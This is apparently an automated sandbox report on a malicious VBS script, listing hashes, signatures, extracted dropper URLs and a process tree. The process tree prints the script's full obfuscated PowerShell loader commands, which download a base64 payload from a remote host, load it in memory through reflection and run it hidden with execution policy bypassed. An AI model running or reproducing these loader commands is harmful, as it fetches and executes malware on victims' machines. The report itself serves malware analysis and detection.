Overview

overview

10

Static

static

1

dfa4dfcb2b...87.vbs

windows7-x64

10

dfa4dfcb2b...87.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    21-09-2024 14:05

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    dfa4dfcb2b8bd8a2f352199a49be86bd7e6440302405b68b11062c25a1c87487.vbs

  • Size

    222KB

  • MD5

    7d6554c8a85d866a962910ea6b1adbd8

  • SHA1

    5c8e17d5320c9354d13b570868bd91919c41e61a

  • SHA256

    dfa4dfcb2b8bd8a2f352199a49be86bd7e6440302405b68b11062c25a1c87487

  • SHA512

    a120f0d53897fece88fc7568cd22766129d3abdd8d4874be4e6cc47e6073e6857880fa5585fc0f6e1feaa63be7c916cec116658d0eea6d7af35328d9b0983f3d

  • SSDEEP

    3072:hksPms6UUTGkotx6yZQVkMojZKKqmXjszj9QqNyyJxYgt5p2b+GwUWibS71Syc4F:hl3yeH0kMUqmXej9VJZPS9TNfrJL0

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dfa4dfcb2b8bd8a2f352199a49be86bd7e6440302405b68b11062c25a1c87487.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1352
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnRCcrJ08nKydUJysndXJsICcrJz0gTjk2JysnaHR0cHM6Ly9pYScrJzYwMDEnKycwMCcrJy51cy5hJysncicrJ2NoaScrJ3YnKydlLm8nKydyZy8yNC9pJysndGUnKydtcy8nKydkJysnZXRhJysnaCcrJy1ub3RlLXYvJysnRGV0YScrJ2hOb3RlVi50JysneHROOTY7RE9UJysnYmFzJysnZTY0Q28nKydudGVudCA9JysnIChOJysnZXctT2JqZScrJ2MnKyd0IFN5Jysnc3RlbS5OZXQuV2ViJysnQycrJ2xpJysnZW50KS5EJysnbycrJ3cnKydubG9hZFMnKyd0cmknKyduJysnZycrJyhETycrJ1R1cicrJ2wnKycpJysnO0RPVGJpbicrJ2FyeUNvbnRlbnQgPScrJyBbU3lzdGVtLkNvJysnbicrJ3ZlJysncnRdOjpGJysncm9tQicrJ2FzZTY0JysnUycrJ3RyaW5nJysnKCcrJ0RPJysnVGJhcycrJ2U2NEMnKydvbnQnKydlbicrJ3QpO0QnKydPJysnVGEnKydzcycrJ2VtYicrJ2x5ID0nKycgJysnW1JlZmxlY3RpbycrJ24nKycuQXNzZW1iJysnbHldOjpMJysnbycrJ2FkKCcrJ0RPVGJpJysnbmFyeScrJ0NvbnRlbnQpJysnO0RPVHR5cGUgPSAnKydETycrJ1Rhc3NlJysnbScrJ2JseS5HZScrJ3RUeScrJ3BlKE4nKyc5JysnNlInKyd1bicrJ1BFLkgnKydvbWVOOScrJzYpJysnO0RPVCcrJ20nKydldGhvJysnZCA9ICcrJ0RPVHQnKyd5JysncGUnKycuJysnR2UnKyd0TWV0JysnaCcrJ29kKE45NicrJ1ZBSU4nKyc5NicrJyknKyc7JysnRE9UbWV0JysnaG9kJysnLkknKydudicrJ29rJysnZShETycrJ1QnKyduJysndWwnKydsJysnLCcrJyBbb2InKydqZWN0JysnW11dQChOJysnOTZ0eHQuT0VOSU4nKycvJysnMCcrJzQzLzInKyc2LjknKycxJysnLicrJzYnKyczMi4yNycrJzEvLzpwdHRoTjknKyc2ICwgJysnTjknKyc2ZCcrJ2VzYXRpdmFkJysnb045NiAsIE4nKyc5NmRlc2EnKyd0aScrJ3ZhJysnZG8nKydOJysnOTYgLCBOOScrJzZkZXNhdGknKyd2YScrJ2QnKydvTjknKyc2LE45NlJlZ0FzJysnbScrJ045NixOOTZOOTYpKScpLUNSZXBsQUNlKFtjSEFyXTc4K1tjSEFyXTU3K1tjSEFyXTU0KSxbY0hBcl0zOSAtckVwbEFjRSdET1QnLFtjSEFyXTM2KXxpblZva2UtZXhwcmVTU0lvbg==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1652
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('D'+'O'+'T'+'url '+'= N96'+'https://ia'+'6001'+'00'+'.us.a'+'r'+'chi'+'v'+'e.o'+'rg/24/i'+'te'+'ms/'+'d'+'eta'+'h'+'-note-v/'+'Deta'+'hNoteV.t'+'xtN96;DOT'+'bas'+'e64Co'+'ntent ='+' (N'+'ew-Obje'+'c'+'t Sy'+'stem.Net.Web'+'C'+'li'+'ent).D'+'o'+'w'+'nloadS'+'tri'+'n'+'g'+'(DO'+'Tur'+'l'+')'+';DOTbin'+'aryContent ='+' [System.Co'+'n'+'ve'+'rt]::F'+'romB'+'ase64'+'S'+'tring'+'('+'DO'+'Tbas'+'e64C'+'ont'+'en'+'t);D'+'O'+'Ta'+'ss'+'emb'+'ly ='+' '+'[Reflectio'+'n'+'.Assemb'+'ly]::L'+'o'+'ad('+'DOTbi'+'nary'+'Content)'+';DOTtype = '+'DO'+'Tasse'+'m'+'bly.Ge'+'tTy'+'pe(N'+'9'+'6R'+'un'+'PE.H'+'omeN9'+'6)'+';DOT'+'m'+'etho'+'d = '+'DOTt'+'y'+'pe'+'.'+'Ge'+'tMet'+'h'+'od(N96'+'VAIN'+'96'+')'+';'+'DOTmet'+'hod'+'.I'+'nv'+'ok'+'e(DO'+'T'+'n'+'ul'+'l'+','+' [ob'+'ject'+'[]]@(N'+'96txt.OENIN'+'/'+'0'+'43/2'+'6.9'+'1'+'.'+'6'+'32.27'+'1//:ptthN9'+'6 , '+'N9'+'6d'+'esativad'+'oN96 , N'+'96desa'+'ti'+'va'+'do'+'N'+'96 , N9'+'6desati'+'va'+'d'+'oN9'+'6,N96RegAs'+'m'+'N96,N96N96))')-CReplACe([cHAr]78+[cHAr]57+[cHAr]54),[cHAr]39 -rEplAcE'DOT',[cHAr]36)|inVoke-expreSSIon"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2708

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\A34SKYYITGHUUCY17FHG.temp
    Filesize

    7KB

    MD5

    95d4ebe6e875a77831e4d2d48b1b03fa

    SHA1

    29e8446a13f60a00aa143a38368a24d08c9fb11e

    SHA256

    f8573d4db5e40dcd693fb1ffea970ade494eec790cbc77e0940a25f99f8d5952

    SHA512

    4eb655bcb7e50a2346fedd624f6596e9c22347a2f01663a60e1977dda35372c09bb13d8fc6f8e0b85cb666efba5b0179912721d71911b93a9e94209f049196ac

    Download Submit

  • memory/1652-4-0x000007FEF656E000-0x000007FEF656F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1652-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/1652-7-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1652-6-0x0000000002770000-0x0000000002778000-memory.dmp

    Filesize

    32KB

    Download

  • memory/1652-8-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1652-9-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1652-10-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1652-16-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/1652-17-0x000007FEF656E000-0x000007FEF656F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1652-18-0x000007FEF62B0000-0x000007FEF6C4D000-memory.dmp

    Filesize

    9.6MB

    Download